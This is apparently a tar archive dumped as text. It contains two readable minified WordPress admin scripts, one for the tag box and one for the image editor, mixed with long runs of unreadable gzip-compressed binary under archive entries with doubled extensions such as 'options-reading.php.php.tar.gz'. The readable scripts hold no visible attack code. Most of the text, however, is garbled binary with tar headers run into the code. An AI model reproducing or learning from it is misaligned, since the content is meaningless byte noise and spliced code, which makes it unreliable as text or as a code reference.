�O�k���5�[?j!��u�2�Q��	b�@�2A�'�A��63e��:a)߬�:-W�#Μ�^�R%t�KO]e2����b����tf[]ƾ�k��/�r��S��Ͳ�T�CIi�Y>Q�.��j��}jx�VÑP:��0�rR��a���SH���jO�z��}/Tψ�ʼJ����,f�<S��⧗�.�^�o|*��p������%>:+}��D.�SV&:33q��yG������5�57��e5�|V�C�I~R�����O��g�5v��i��������覶�#����zvӻpE>��i%�3/�������?3�KF�At�M&С@�K��B���2�6�wRw�h䢽��E����,&`�J��q���)Ɨ�V%�Yq5���C��;�6,XZ|wU�Eq���)t��ɡ3�4۬>2m
p�8rf��ګ�N���wE��B��`�~�l(�_�P��s����P��阈�P��9�z������� H�)���&��(�5�#�7�ܩN�.���
��۰5�
���8��^J>�b��8�Rz��	�z��d�KЊl7����A0I؝�y�ώHS����1M��nP�;BM�
��ϞY���ΦZ��"��q-���+��X����1��%�׈
��l:Ӧ���F��Z'F���HN0���X}|���C�����;��ɷ�k���:7q�ޤ����v�nf�Į���4;�Zw���jmm��n�&�tw��s�V���M�Deo��º��P�@=�6�*R���A�\/a�C@���ԁ5U��l��Tu9+W�nD1`�����j�)���<��P���y*�N-��XF�
V+S�@�a�;m���<�����wr��.���%/�!@�&�/�X%�
&N8�d����w�Tsz�3���y���J�;�����g�N����F������?������?��������:ttags-box.min.js000064400000006005150276633100007414 0ustar00/*! This file is auto-generated */
!function(o){var r=wp.i18n._x(",","tag delimiter")||",";window.array_unique_noempty=function(t){var a=[];return o.each(t,function(t,e){(e=(e=e||"").trim())&&-1===o.inArray(e,a)&&a.push(e)}),a},window.tagBox={clean:function(t){return t=(t=","!==r?t.replace(new RegExp(r,"g"),","):t).replace(/\s*,\s*/g,",").replace(/,+/g,",").replace(/[,\s]+$/,"").replace(/^[,\s]+/,""),t=","!==r?t.replace(/,/g,r):t},parseTags:function(t){var e=t.id.split("-check-num-")[1],t=o(t).closest(".tagsdiv"),a=t.find(".the-tags"),i=a.val().split(r),n=[];return delete i[e],o.each(i,function(t,e){(e=(e=e||"").trim())&&n.push(e)}),a.val(this.clean(n.join(r))),this.quickClicks(t),!1},quickClicks:function(t){var a,e=o(".the-tags",t),i=o(".tagchecklist",t),n=o(t).attr("id");e.length&&(a=e.prop("disabled"),t=e.val().split(r),i.empty(),o.each(t,function(t,e){(e=(e=e||"").trim())&&(e=o("<li />").text(e),a||((t=o('<button type="button" id="'+n+"-check-num-"+t+'" class="ntdelbutton"><span class="remove-tag-icon" aria-hidden="true"></span><span class="screen-reader-text">'+wp.i18n.__("Remove term:")+" "+e.html()+"</span></button>")).on("click keypress",function(t){"click"!==t.type&&13!==t.keyCode&&32!==t.keyCode||(13!==t.keyCode&&32!==t.keyCode||o(this).closest(".tagsdiv").find("input.newtag").trigger("focus"),tagBox.userAction="remove",tagBox.parseTags(this))}),e.prepend("&nbsp;").prepend(t)),i.append(e))}),tagBox.screenReadersMessage())},flushTags:function(t,e,a){var i,n,s=o(".the-tags",t),c=o("input.newtag",t);return void 0!==(n=(e=e||!1)?o(e).text():c.val())&&""!==n&&(i=s.val(),i=this.clean(i=i?i+r+n:n),i=array_unique_noempty(i.split(r)).join(r),s.val(i),this.quickClicks(t),e||c.val(""),void 0===a)&&c.trigger("focus"),!1},get:function(a){var i=a.substr(a.indexOf("-")+1);o.post(ajaxurl,{action:"get-tagcloud",tax:i},function(t,e){0!==t&&"success"==e&&(t=o('<div id="tagcloud-'+i+'" class="the-tagcloud">'+t+"</div>"),o("a",t).on("click",function(){return tagBox.userAction="add",tagBox.flushTags(o("#"+i),this),!1}),o("#"+a).after(t))})},userAction:"",screenReadersMessage:function(){var t;switch(this.userAction){case"remove":t=wp.i18n.__("Term removed.");break;case"add":t=wp.i18n.__("Term added.");break;default:return}window.wp.a11y.speak(t,"assertive")},init:function(){var t=o("div.ajaxtag");o(".tagsdiv").each(function(){tagBox.quickClicks(this)}),o(".tagadd",t).on("click",function(){tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv"))}),o("input.newtag",t).on("keypress",function(t){13==t.which&&(tagBox.userAction="add",tagBox.flushTags(o(this).closest(".tagsdiv")),t.preventDefault(),t.stopPropagation())}).each(function(t,e){o(e).wpTagsSuggest()}),o("#post").on("submit",function(){o("div.tagsdiv").each(function(){tagBox.flushTags(this,!1,1)})}),o(".tagcloud-link").on("click",function(){tagBox.get(o(this).attr("id")),o(this).attr("aria-expanded","true").off().on("click",function(){o(this).attr("aria-expanded","false"===o(this).attr("aria-expanded")?"true":"false").siblings(".the-tagcloud").toggle()})})}}}(jQuery);editor.min.js.min.js.tar.gz000064400000011364150276633100011563 0ustar00��[Yw�F����CW� Hڱ}�"��N�I��ֱ���Tt �HVh�(Y-��w��H�K&�<D��Znݭ�j�&يA(�b���U��L��2���~ne<�-�P�$�����3~��y��'ˇ��/_�e�b����^�z��ѫ篞w��3���A�C�o����g���v#��JF��g�SI-b�J������q��yw�_����]�⥒I���?�<�~��۔=�;���K]�����ԝ��m�u6���EU��9�t�%%��Rt�l㷋\v�o�s��d�ۊXqd�e$�I��Äs������W��9ps�b����n]�@��9a��>�����ڽˮ
�8|����٨m��=�Z�ۊ�C��J��&��,u@\}��*��=�|>�r���Y ׷B�7�"j�A?��h8��ɳ�p�Y.���h��χͨ�U�A��(��בp.H�+��
��]������k��0���K�!�Jpz���� E�.Ew��8��+f�>S~5��l�힭=�+�P��3��q�1ʼn?cT݁?��a'n�?]�&2�����6X���/h.���(�(_���kem�\�G��V-i�(�l=[�~�`K�q�N��:_fI]�I.I�[���W�?g�)���sq��ޓ-�G��X���x���j�r���85V��W�r��I���0����8t��Mc~!A%��#(m��׹	rA���I��b{#B<7T$�k��;��;q�؀�HƘ]�V(�����̓]�$j*h�9w {�A	�O+&1��o�S�gҋ��I>�ޚ�`M��ʷ�/k�Ϥ�o����f�[�^iy��ˢ�JK���+�A��w42� ��GEQ=NQU�;�^Cd���|��?��Z�c�߳��
��p[�/�І4Fk�XU��s7�-�.�o�o�'��r�dA��ؓ˘f����.��ܿg7����g�����v`ӑ6!H�w� {��]��
	�R/GT�����W�@�aX�BP�~s��/�o��!J�9�
��KvJd߾��+�D"D;��%a�a�&�}m��H#��	-�=�z����g�2���Oo��U��b8a+տek�}�����ϻݵ�6b+<@#�/�6aZ�+����A>�`H�>h1�6���!�<�V8�(d���]i� �A�#��
y����\do���k�Yέ�-ߋ(G�_�[�t�*kT/A��!.#�q��£@;�Z�=Rz�V�AdF'}��i���Y����r[Y��i��N/o�Y�8e�����
_%�XMF�:K�)����
�
�-��z�pNs$�O�a�HC3�2?%6!�^++?3q��n\��Z������A��'�<0S^‘ͱq�>p9�}f��ə�1�4ᕞ��v1%��
�-�
;���ӛ��ވU�	F�.V��,�">FjA4�l�]���W?&�0mPe��������0eu��z,�Q���'C<-g-���rΨ�4:�8�M��?�#P�^���Y��P�L���eP�@ּ�L�"֗�S�d��A<�uz�t�ȟ.ɉ�co��)�x�[��9�z:Y,�yʨ�C�E��>9���|�x/��������u�,`�؍�az�i�aJk��*T�?�0��棊G���14��3H-�hn�BV��}�z�=�{
�T��d���Tq
Z�z(�;7�:�	\EU{+�lrt�㽕[�lǬ�S�ݴb�8B�û�vЙy��J�����6w�q�!�y�c�qoe.od$}��Q+�X����IG����r�Ԭ]�[:�3��5q\�U��NQ�'��)�3 ��M��~8�@�:������8/[��-�z���l�=��|�Q�b���}(��6Ϟj����%��X+&�ʰ��	xQ�'���> �0�O��2HP�����|qwݿ��b�\���HJx!'�����"��syK������`�2]�GP]\����Kw���2�{ZZa��n[�S	��.myej����q%.�Y�� �K�^P��Œ�ߙ�%w����ҏ�cI�8����m�u3�%�.�I+ʘ��*�#�ja��vP���/�b�]U�b�N9�(��1���͝�ތ3���4z��?q����K�G�:X�8GҞ��q��(��R��њ��{~e)�ڠ�+\�r�	���r�=�^Ѭv�jB毖W%��

�f�T!�er9�f2�*U�o��֢w2��XX܊l%wc��L�nf��3�Gq��v�c�޼yC"�kh��C�s��w����%�Q
��q�7���nX�3&
��:YC��|���
jpLXb�:�Q�/����v1�"�l[}G~�/P��[r�8��$�8��B�!���n���4�ߵٔ*���:�X�5�X�0x��%Ү�3�3|�T�^��d�Q�~[QT��^�Rf�ֶ���&	�[u.�z����e/�X.87�/�= �u5��$��69�%b�D�0��{����3�f`��u������rKd
��}�&�^��$+Q�
��W��! ��̂��<f�h3���gH�@�9��FFaFK��
T�����z5�i%�_�5�	!��Ɠ��3[f�b��!�\~�M�ရ����в�����T>o�ptx��.Q��EE�,¨U��
n"Q���N�,�*IT�2*,6�Q��U��"
aP��w�p�|U�)By[����#�r�#Rg�K��*���&�	W4Hbk�T�$:��%��gb,,�0ӣе\��|�/�\=�A5����U�6Aۙ`N�]`�[1�֠$���gCڠ�
�	{�
�����jw�,��".1�i#�������)��A��t\d�E|��5K��e�֑,;�{Q�Wb/�AY��:����H0�8Rb����%����[��ހ�1�UX�k\����
W�qh170����vșk�$���"�U{ԑa���x�Lŧ�E<�bZr�I�1�H��׳�|�i�Ł`�5��ᨭg�м��XM��i <u�qGm]j�z�w��0�H�ܸ$�ެ/ͯh6�:֒�h��1}�كDfTz;�(2�Q�Ǒܵ����o��-x��|4�\	��DM�&N�}���QQ>BU�.�>�E"y��ܚy����h�]Rr?k+/�sɑ��O�4-�U�@�=�&�8���Z�]��k�n1�mBe��M�#I@���r!��C���h�-=�k��2�FF��Q����܄�V��'۹�s�^�ے�C�!M��T�2��"mais�����h+�J��F��d�rh���H�1����BG���Xw�:Kvi42�@"���5Dk����iAGy�d��+�Q��iU6Y�V",���
�%�h�2��pC�
��x�m�q�Q�
��xW��6���h��NP��댝���fĨӞ<�uB~�	���c�CG��cP�(x�W�x��M��i-�>�a*��,5f;ԘUoX�&�&��Y�w�����BP���N�������k���i\	��LO!����Kx��Nj�9��$P��"��*�yu���d:�M��>��[��GGX������?�6�Չ�Is��+jU2m��i$V9��r-��ИoV��Xhk��	2��֪� ��R��HlI�WcZy���o��&E4�P�$=Z5��
ЖL���w��pn�;5���e�Ѷ=���Bgo̶9��FE��<�Ǎd�3�#���s0r*ndg��9��cFi�"��r�?�N��lv?M�&?P��fcBc�:�W@wʙ����&n\���>	���g�&���6䞻�q���C��T6
���Ź�d�\�w�dD"B4��Q�ș��2�^��z���L�#�}��q�M�)}K/�=�[�3?ҹ�0�8<ɞ��N�V�xp1���Q�f�(�m�7ۂ�z�`���vW��)	ݱYC�z;X��/��\ѵ�{��9_��C��}�:���;DhV6���Jˍn�<.dN����0�n�
�!�ˍ�
e/�e�M#��=Ś���t������5���M��L���q��#����\�^���R�����!E&�A$�%N�<��y?�uo:3�`��<6�7�>Pϸ��m҇җ�gthR_�U�?wr�N��L�Mz}G4�Wڽ�V����{����d��hK�L;���+C�Ժ���s�5{BT;卄�²:Ap�O����N)�%J����1��
Ǘ}1{������@y[�մH��w^�a�*u*'�
u�ߥ�˿
��Q
9�.Ѵ>�
v�5�F���W�U��u�K_3��k�Fb@1i�eay��X7�y_B�`�>|{B��~��0�Pt>�o�D�RN
I�ͱ?<cY�=�rkP�j��QEV}}�Be���ߺq��En�/#��_�.�w����t�Ѿ����yD'-��e�"�>k��`����Ӎ>>陆��
8��{Rmr���՚��
{�\y���@ɪcW���Ay��>�ݰ��_7ӧ���d�����4�M�W����C�$�(��������hd��?U'�������ծՔ�	B��b���k>_�Cs�?�:'o����_��:����:�����ў98t�3�c�l��>�}#����l�ݍ�sܸ��*�Pe=�%ns�|,��*��!�-+�X�Z�C7�����U~��Nd�����������ϟ?���
��:image-edit.min.js000064400000034457150276633100007711 0ustar00/*! This file is auto-generated */
!function(c){var n=wp.i18n.__,l=window.imageEdit={iasapi:{},hold:{},postid:"",_view:!1,toggleCropTool:function(t,i,e){var a,o,r,s=c("#image-preview-"+t),n=this.iasapi.getSelection();l.toggleControls(e),"false"==("true"===c(e).attr("aria-expanded")?"true":"false")?(this.iasapi.cancelSelection(),l.setDisabled(c(".imgedit-crop-clear"),0)):(l.setDisabled(c(".imgedit-crop-clear"),1),e=c("#imgedit-start-x-"+t).val()?c("#imgedit-start-x-"+t).val():0,a=c("#imgedit-start-y-"+t).val()?c("#imgedit-start-y-"+t).val():0,o=c("#imgedit-sel-width-"+t).val()?c("#imgedit-sel-width-"+t).val():s.innerWidth(),r=c("#imgedit-sel-height-"+t).val()?c("#imgedit-sel-height-"+t).val():s.innerHeight(),isNaN(n.x1)&&(this.setCropSelection(t,{x1:e,y1:a,x2:o,y2:r,width:o,height:r}),n=this.iasapi.getSelection()),0===n.x1&&0===n.y1&&0===n.x2&&0===n.y2?this.iasapi.setSelection(0,0,s.innerWidth(),s.innerHeight(),!0):this.iasapi.setSelection(e,a,o,r,!0),this.iasapi.setOptions({show:!0}),this.iasapi.update())},handleCropToolClick:function(t,i,e){e.classList.contains("imgedit-crop-clear")?(this.iasapi.cancelSelection(),l.setDisabled(c(".imgedit-crop-apply"),0),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val("")):l.crop(t,i,e)},intval:function(t){return 0|t},setDisabled:function(t,i){i?t.removeClass("disabled").prop("disabled",!1):t.addClass("disabled").prop("disabled",!0)},init:function(e){var t=this,i=c("#image-editor-"+t.postid),a=t.intval(c("#imgedit-x-"+e).val()),o=t.intval(c("#imgedit-y-"+e).val());t.postid!==e&&i.length&&t.close(t.postid),t.hold.w=t.hold.ow=a,t.hold.h=t.hold.oh=o,t.hold.xy_ratio=a/o,t.hold.sizer=parseFloat(c("#imgedit-sizer-"+e).val()),t.postid=e,c("#imgedit-response-"+e).empty(),c("#imgedit-panel-"+e).on("keypress",function(t){var i=c("#imgedit-nonce-"+e).val();26===t.which&&t.ctrlKey&&l.undo(e,i),25===t.which&&t.ctrlKey&&l.redo(e,i)}),c("#imgedit-panel-"+e).on("keypress",'input[type="text"]',function(t){var i=t.keyCode;if(36<i&&i<41&&c(this).trigger("blur"),13===i)return t.preventDefault(),t.stopPropagation(),!1}),c(document).on("image-editor-ui-ready",this.focusManager)},toggleEditor:function(t,i,e){t=c("#imgedit-wait-"+t);i?t.fadeIn("fast"):t.fadeOut("fast",function(){e&&c(document).trigger("image-editor-ui-ready")})},togglePopup:function(t){var i=c(t),t=c(t).attr("aria-controls"),t=c("#"+t);return i.attr("aria-expanded","false"===i.attr("aria-expanded")?"true":"false"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast").css({"z-index":2e5}),"true"===i.attr("aria-expanded")&&t.find("button").first().trigger("focus"),!1},monitorPopup:function(){var e=document.querySelector(".imgedit-rotate-menu-container"),a=document.querySelector(".imgedit-rotate-menu-container .imgedit-rotate");return setTimeout(function(){var t=document.activeElement,i=e.contains(t);t&&!i&&"true"===a.getAttribute("aria-expanded")&&l.togglePopup(a)},100),!1},browsePopup:function(t){var i=c(t),t=c(t).parent(".imgedit-popup-menu").find("button"),i=t.index(i),e=i-1,i=i+1,a=t.length,a=(e<0&&(e=a-1),i===a&&(i=0),!1);return 40===event.keyCode?a=t.get(i):38===event.keyCode&&(a=t.get(e)),a&&(a.focus(),event.preventDefault()),!1},closePopup:function(t){var t=c(t).parent(".imgedit-popup-menu"),i=t.attr("id");return c('button[aria-controls="'+i+'"]').attr("aria-expanded","false").trigger("focus"),t.toggleClass("imgedit-popup-menu-open").slideToggle("fast"),!1},toggleHelp:function(t){t=c(t);return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false").parents(".imgedit-group-top").toggleClass("imgedit-help-toggled").find(".imgedit-help").slideToggle("fast"),!1},toggleControls:function(t){var t=c(t),i=c("#"+t.attr("aria-controls"));return t.attr("aria-expanded","false"===t.attr("aria-expanded")?"true":"false"),i.parent(".imgedit-group").toggleClass("imgedit-panel-active"),!1},getTarget:function(t){var i=c("#imgedit-save-target-"+t);return i.length?i.find('input[name="imgedit-target-'+t+'"]:checked').val()||"full":"all"},scaleChanged:function(t,i,e){var a=c("#imgedit-scale-width-"+t),o=c("#imgedit-scale-height-"+t),t=c("#imgedit-scale-warn-"+t),r="",s="",n=c("#imgedit-scale-button");!1!==this.validateNumeric(e)&&(i?(s=""!==a.val()?Math.round(a.val()/this.hold.xy_ratio):"",o.val(s)):(r=""!==o.val()?Math.round(o.val()*this.hold.xy_ratio):"",a.val(r)),s&&s>this.hold.oh||r&&r>this.hold.ow?(t.css("visibility","visible"),n.prop("disabled",!0)):(t.css("visibility","hidden"),n.prop("disabled",!1)))},getSelRatio:function(t){var i=this.hold.w,e=this.hold.h,a=this.intval(c("#imgedit-crop-width-"+t).val()),t=this.intval(c("#imgedit-crop-height-"+t).val());return a&&t?a+":"+t:i&&e?i+":"+e:"1:1"},filterHistory:function(t,i){var e,a,o,r=c("#imgedit-history-"+t).val(),s=[];if(""===r)return"";if(r=JSON.parse(r),0<(e=this.intval(c("#imgedit-undone-"+t).val())))for(;0<e;)r.pop(),e--;if(i){if(!r.length)return this.hold.w=this.hold.ow,this.hold.h=this.hold.oh,"";(t=(t=r[r.length-1]).c||t.r||t.f||!1)&&(this.hold.w=t.fw,this.hold.h=t.fh)}for(a in r)(o=r[a]).hasOwnProperty("c")?s[a]={c:{x:o.c.x,y:o.c.y,w:o.c.w,h:o.c.h}}:o.hasOwnProperty("r")?s[a]={r:o.r.r}:o.hasOwnProperty("f")&&(s[a]={f:o.f.f});return JSON.stringify(s)},refreshEditor:function(o,t,r){var s,i=this;i.toggleEditor(o,1),t={action:"imgedit-preview",_ajax_nonce:t,postid:o,history:i.filterHistory(o,1),rand:i.intval(1e6*Math.random())},s=c('<img id="image-preview-'+o+'" alt="" />').on("load",{history:t.history},function(t){var i=c("#imgedit-crop-"+o),e=l,a=(""!==t.data.history&&(t=JSON.parse(t.data.history))[t.length-1].hasOwnProperty("c")&&(e.setDisabled(c("#image-undo-"+o),!0),c("#image-undo-"+o).trigger("focus")),i.empty().append(s),t=Math.max(e.hold.w,e.hold.h),a=Math.max(c(s).width(),c(s).height()),e.hold.sizer=a<t?a/t:1,e.initCrop(o,s,i),null!=r&&r(),c("#imgedit-history-"+o).val()&&"0"===c("#imgedit-undone-"+o).val()?c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!1):c("button.imgedit-submit-btn","#imgedit-panel-"+o).prop("disabled",!0),n("Image updated."));e.toggleEditor(o,0),wp.a11y.speak(a,"assertive")}).on("error",function(){var t=n("Could not load the preview image. Please reload the page and try again.");c("#imgedit-crop-"+o).empty().append('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t+"</p></div>"),i.toggleEditor(o,0,!0),wp.a11y.speak(t,"assertive")}).attr("src",ajaxurl+"?"+c.param(t))},action:function(i,t,e){var a,o,r,s,n=this;if(n.notsaved(i))return!1;if(t={action:"image-editor",_ajax_nonce:t,postid:i},"scale"===e){if(a=c("#imgedit-scale-width-"+i),o=c("#imgedit-scale-height-"+i),r=n.intval(a.val()),s=n.intval(o.val()),r<1)return a.trigger("focus"),!1;if(s<1)return o.trigger("focus"),!1;if(r===n.hold.ow||s===n.hold.oh)return!1;t.do="scale",t.fwidth=r,t.fheight=s}else{if("restore"!==e)return!1;t.do="restore"}n.toggleEditor(i,1),c.post(ajaxurl,t,function(t){c("#image-editor-"+i).empty().append(t.data.html),n.toggleEditor(i,0,!0),n._view&&n._view.refresh()}).done(function(t){t&&t.data.message.msg?wp.a11y.speak(t.data.message.msg):t&&t.data.message.error&&wp.a11y.speak(t.data.message.error)})},save:function(i,t){var e=this.getTarget(i),a=this.filterHistory(i,0),o=this;if(""===a)return!1;this.toggleEditor(i,1),t={action:"image-editor",_ajax_nonce:t,postid:i,history:a,target:e,context:c("#image-edit-context").length?c("#image-edit-context").val():null,do:"save"},c.post(ajaxurl,t,function(t){t.data.error?(c("#imgedit-response-"+i).html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+t.data.error+"</p></div>"),l.close(i),wp.a11y.speak(t.data.error)):(t.data.fw&&t.data.fh&&c("#media-dims-"+i).html(t.data.fw+" &times; "+t.data.fh),t.data.thumbnail&&c(".thumbnail","#thumbnail-head-"+i).attr("src",""+t.data.thumbnail),t.data.msg&&(c("#imgedit-response-"+i).html('<div class="notice notice-success" tabindex="-1" role="alert"><p>'+t.data.msg+"</p></div>"),wp.a11y.speak(t.data.msg)),o._view?o._view.save():l.close(i))})},open:function(e,t,i){this._view=i;var a=c("#image-editor-"+e),o=c("#media-head-"+e),r=c("#imgedit-open-btn-"+e),s=r.siblings(".spinner");if(!r.hasClass("button-activated"))return s.addClass("is-active"),c.ajax({url:ajaxurl,type:"post",data:{action:"image-editor",_ajax_nonce:t,postid:e,do:"open"},beforeSend:function(){r.addClass("button-activated")}}).done(function(t){var i;"-1"===t&&(i=n("Could not load the preview image."),a.html('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+i+"</p></div>")),t.data&&t.data.html&&a.html(t.data.html),o.fadeOut("fast",function(){a.fadeIn("fast",function(){i&&c(document).trigger("image-editor-ui-ready")}),r.removeClass("button-activated"),s.removeClass("is-active")}),l.init(e)})},imgLoaded:function(t){var i=c("#image-preview-"+t),e=c("#imgedit-crop-"+t);void 0===this.hold.sizer&&this.init(t),this.initCrop(t,i,e),this.setCropSelection(t,{x1:0,y1:0,x2:0,y2:0,width:i.innerWidth(),height:i.innerHeight()}),this.toggleEditor(t,0,!0)},focusManager:function(){setTimeout(function(){var t=c('.notice[role="alert"]');(t=t.length?t:c(".imgedit-wrap").find(":tabbable:first")).attr("tabindex","-1").trigger("focus")},100)},initCrop:function(a,t,i){var o=this,r=c("#imgedit-sel-width-"+a),s=c("#imgedit-sel-height-"+a),n=c("#imgedit-start-x-"+a),d=c("#imgedit-start-y-"+a),t=c(t);t.data("imgAreaSelect")||(o.iasapi=t.imgAreaSelect({parent:i,instance:!0,handles:!0,keys:!0,minWidth:3,minHeight:3,onInit:function(t){c(t).next().css("position","absolute").nextAll(".imgareaselect-outer").css("position","absolute"),i.children().on("mousedown, touchstart",function(t){var i,e=!1;t.shiftKey&&(t=o.iasapi.getSelection(),i=o.getSelRatio(a),e=t&&t.width&&t.height?t.width+":"+t.height:i),o.iasapi.setOptions({aspectRatio:e})})},onSelectStart:function(){l.setDisabled(c("#imgedit-crop-sel-"+a),1),l.setDisabled(c(".imgedit-crop-clear"),1),l.setDisabled(c(".imgedit-crop-apply"),1)},onSelectEnd:function(t,i){l.setCropSelection(a,i),c("#imgedit-crop > *").is(":visible")||l.toggleControls(c(".imgedit-crop.button"))},onSelectChange:function(t,i){var e=l.hold.sizer;r.val(l.round(i.width/e)),s.val(l.round(i.height/e)),n.val(l.round(i.x1/e)),d.val(l.round(i.y1/e))}}))},setCropSelection:function(t,i){if(!(i=i||0)||i.width<3&&i.height<3)return this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),this.setDisabled(c("#imgedit-crop-sel-"+t),1),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0"),c("#imgedit-selection-"+t).val(""),!1;i={x:i.x1,y:i.y1,w:i.width,h:i.height},this.setDisabled(c(".imgedit-crop","#imgedit-panel-"+t),1),c("#imgedit-selection-"+t).val(JSON.stringify(i))},close:function(t,i){if((i=i||!1)&&this.notsaved(t))return!1;this.iasapi={},this.hold={},this._view?this._view.back():c("#image-editor-"+t).fadeOut("fast",function(){c("#media-head-"+t).fadeIn("fast",function(){c("#imgedit-open-btn-"+t).trigger("focus")}),c(this).empty()})},notsaved:function(t){var i=c("#imgedit-history-"+t).val(),i=""!==i?JSON.parse(i):[];return this.intval(c("#imgedit-undone-"+t).val())<i.length&&!confirm(c("#imgedit-leaving-"+t).text())},addStep:function(t,i,e){for(var a=this,o=c("#imgedit-history-"+i),r=""!==o.val()?JSON.parse(o.val()):[],s=c("#imgedit-undone-"+i),n=a.intval(s.val());0<n;)r.pop(),n--;s.val(0),r.push(t),o.val(JSON.stringify(r)),a.refreshEditor(i,e,function(){a.setDisabled(c("#image-undo-"+i),!0),a.setDisabled(c("#image-redo-"+i),!1)})},rotate:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({r:{r:t,fw:this.hold.h,fh:this.hold.w}},i,e)},flip:function(t,i,e,a){if(c(a).hasClass("disabled"))return!1;this.closePopup(a),this.addStep({f:{f:t,fw:this.hold.w,fh:this.hold.h}},i,e)},crop:function(t,i,e){var a=c("#imgedit-selection-"+t).val(),o=this.intval(c("#imgedit-sel-width-"+t).val()),r=this.intval(c("#imgedit-sel-height-"+t).val());if(c(e).hasClass("disabled")||""===a)return!1;0<(a=JSON.parse(a)).w&&0<a.h&&0<o&&0<r&&(a.fw=o,a.fh=r,this.addStep({c:a},t,i)),c("#imgedit-sel-width-"+t).val(""),c("#imgedit-sel-height-"+t).val(""),c("#imgedit-start-x-"+t).val("0"),c("#imgedit-start-y-"+t).val("0")},undo:function(i,t){var e=this,a=c("#image-undo-"+i),o=c("#imgedit-undone-"+i),r=e.intval(o.val())+1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(i,t,function(){var t=c("#imgedit-history-"+i),t=""!==t.val()?JSON.parse(t.val()):[];e.setDisabled(c("#image-redo-"+i),!0),e.setDisabled(a,r<t.length),t.length===r&&c("#image-redo-"+i).trigger("focus")}))},redo:function(t,i){var e=this,a=c("#image-redo-"+t),o=c("#imgedit-undone-"+t),r=e.intval(o.val())-1;a.hasClass("disabled")||(o.val(r),e.refreshEditor(t,i,function(){e.setDisabled(c("#image-undo-"+t),!0),e.setDisabled(a,0<r),0==r&&c("#image-undo-"+t).trigger("focus")}))},setNumSelection:function(t,i){var e=c("#imgedit-sel-width-"+t),a=c("#imgedit-sel-height-"+t),o=c("#imgedit-start-x-"+t),r=c("#imgedit-start-y-"+t),o=this.intval(o.val()),r=this.intval(r.val()),s=this.intval(e.val()),n=this.intval(a.val()),d=c("#image-preview-"+t),l=d.height(),d=d.width(),h=this.hold.sizer,g=this.iasapi;if(!1!==this.validateNumeric(i))return s<1?(e.val(""),!1):n<1?(a.val(""),!1):void((s&&n||o&&r)&&(i=g.getSelection())&&(s=i.x1+Math.round(s*h),n=i.y1+Math.round(n*h),o=o===i.x1?i.x1:Math.round(o*h),i=r===i.y1?i.y1:Math.round(r*h),d<s&&(o=0,s=d,e.val(Math.round(s/h))),l<n&&(i=0,n=l,a.val(Math.round(n/h))),g.setSelection(o,i,s,n),g.update(),this.setCropSelection(t,g.getSelection())))},round:function(t){var i;return t=Math.round(t),.6<this.hold.sizer?t:"1"===(i=t.toString().slice(-1))?t-1:"9"===i?t+1:t},setRatioSelection:function(t,i,e){var a=this.intval(c("#imgedit-crop-width-"+t).val()),o=this.intval(c("#imgedit-crop-height-"+t).val()),r=c("#image-preview-"+t).height();!1===this.validateNumeric(e)?this.iasapi.setOptions({aspectRatio:null}):a&&o&&(this.iasapi.setOptions({aspectRatio:a+":"+o}),e=this.iasapi.getSelection(!0))&&(r<(a=Math.ceil(e.y1+(e.x2-e.x1)/(a/o)))?(a=r,o=n("Selected crop ratio exceeds the boundaries of the image. Try a different ratio."),c("#imgedit-crop-"+t).prepend('<div class="notice notice-error" tabindex="-1" role="alert"><p>'+o+"</p></div>"),wp.a11y.speak(o,"assertive"),c(i?"#imgedit-crop-height-"+t:"#imgedit-crop-width-"+t).val("")):void 0!==(r=c("#imgedit-crop-"+t).find(".notice-error"))&&r.remove(),this.iasapi.setSelection(e.x1,e.y1,e.x2,a),this.iasapi.update())},validateNumeric:function(t){if(!1===this.intval(c(t).val()))return c(t).val(""),!1}}}(jQuery);options-reading.php.php.tar.gz000064400000006150150276633100012356 0ustar00��Zms�6�W�W��6�3�d�rmǯM.�3�6���O��L\(��V<��{vR�d�r�k�f�6�M����]�J�BMrY�2W�$�ʕҹʪd��dY�d����6�Y%�_����l���WO��z�����tz���/�G_?9z������>�;��W�-��=��N/�d�q_<�<�©�ħ̽v��ľ(d��1F��o��WJ�16y	�q|�U�����l<��i�Մ��1%�Q�P��Ui�"��JD��^E��ᄕ"��z.���"��UyUN�(���.d%��C������-�(�j1��X{s nL%�U"7��Yf�*�^���XQ��	�K5f�'��`�D��0C�x�ċ��Q �2%Jy5���י_��2=$Q_�m�k?�:�T���j�e�D2�G�XD)�
�Q҈����_�2�Qr�s����iD��"*�l�ߓ��|��:��!�Z�k���z��#�������K,3乧���׌/.h�Ԁ�0k�L%(��U\�D�"�7�̉$+�hF�p:a�X�W/�
��rNF�z��L�ƺc�%����G"Z�R	)r��c_�19MbU����85�)��^�������W+ʍ�<E-�U���!⇒E̔(�+9�U�
��Ԛ�d�J�2�e�^�!��X�p�w��\�S�9����kCx�Y�[��x��+a�w�`e�4�T�Ԫ���K78���t"������,����cЁ�y�w~�z�P6՛F��2�R����^�QyS�3�=����sWx�O��v�d�;�5�]Eܼ��s���W�U�4g!��E�y��L�F�Z�P$�v�Y�y�J��d&s������ďJ�\,�3S�^����MJ˲pǓ��RP�{5I�8L��Cdj5f��&�t�
d�"�t��
���J�5�9�E̪������a���c�2$��*�
r�[%Gt'ja�~�C���Z;=ә.o6�S*�*YR\Ep�k�DNeP�X��"��&Z���8<Iq*T~��!wg��4�]�p�^��&�b+�Bwv#�������Ȱ�r> ]��02{�XʜX�����M���A��8U�ۙy��L�����v1�S2sm���Y��D��q6B�7=a���s����O���
ȟ9��s�x��-xIג f갽�ĽT3V<l��&˄�y1����/]���}C�y�|$��0>�!��AiY3$����Rb�[&��!zLϥKgF�ģ��
